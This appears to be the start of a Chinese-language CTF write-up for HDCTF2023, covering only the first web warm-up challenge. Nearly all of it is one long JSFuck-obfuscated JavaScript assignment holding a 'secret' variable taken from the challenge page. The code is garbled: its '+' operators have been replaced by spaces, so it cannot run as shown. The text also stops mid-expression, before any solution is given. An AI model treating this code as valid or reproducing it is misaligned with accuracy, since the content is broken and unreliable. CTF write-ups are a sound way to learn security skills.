HDCTF2023 Writeup

2023-05-16 11:08:38 浏览数 (3)

  • 前言

由海南大学网络空间安全学院(密码学院),海南大学网络空间安全协会主办,NSSCTF 平台与HnuSec 网安实验室承办,杭州安恒信息技术股份有限公司提供赞助支持的海南大学第四届网络安全技能挑战赛

因为上石油工程认知只做了半小时题,赛后才来复现,和阿里云CTF和DASCTF x SU都堆一天了hhh

Web

Welcome To HDCTF 2023

js签到题,可以直接找源码

代码语言:javascript复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* let seeeeeeeecret = ( [![]]   [])[ []]   ( []   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]])[ ! []   [ []]]   ( []   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]])[ ! []   [ []]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()(([]   [])[([![]]   [][[]])[ ! []   [ []]]   (!![]   [])[ []]   (![]   [])[ ! []]   (![]   [])[! []   ! []]   ([![]]   [][[]])[ ! []   [ []]]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]]())[! []   ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[(![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []]   ([![]]   [][[]])[ ! []   [ []]]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[! []   ! []   ! []]](( (( ( ! []   [ ! []]   (!![]   [])[! []   ! []   ! []]   [! []   ! []]   [ []])   [])[ ! []]   [ []   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ ! []]])   [])[! []   ! []]   [ ! []])   (![]   [])[ ! []]   (!![]   [])[ []]   (!![]   [])[! []   ! []   ! []])()())[! []   ! []   ! []   [ []]]   ( []   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]])[ ! []   [ []]]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ []]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   ([][[]]   [])[ []]   ([][[]]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ ! []]]   (! []   ! []   ! []   ! []   ! []   [! []   ! []   ! []   ! []   ! []   ! []   ! []])   [])   (!![]   [])[! []   ! []   ! []]   [ ! []]   [! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   ([][[]]   [])[ []]   ([][[]]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   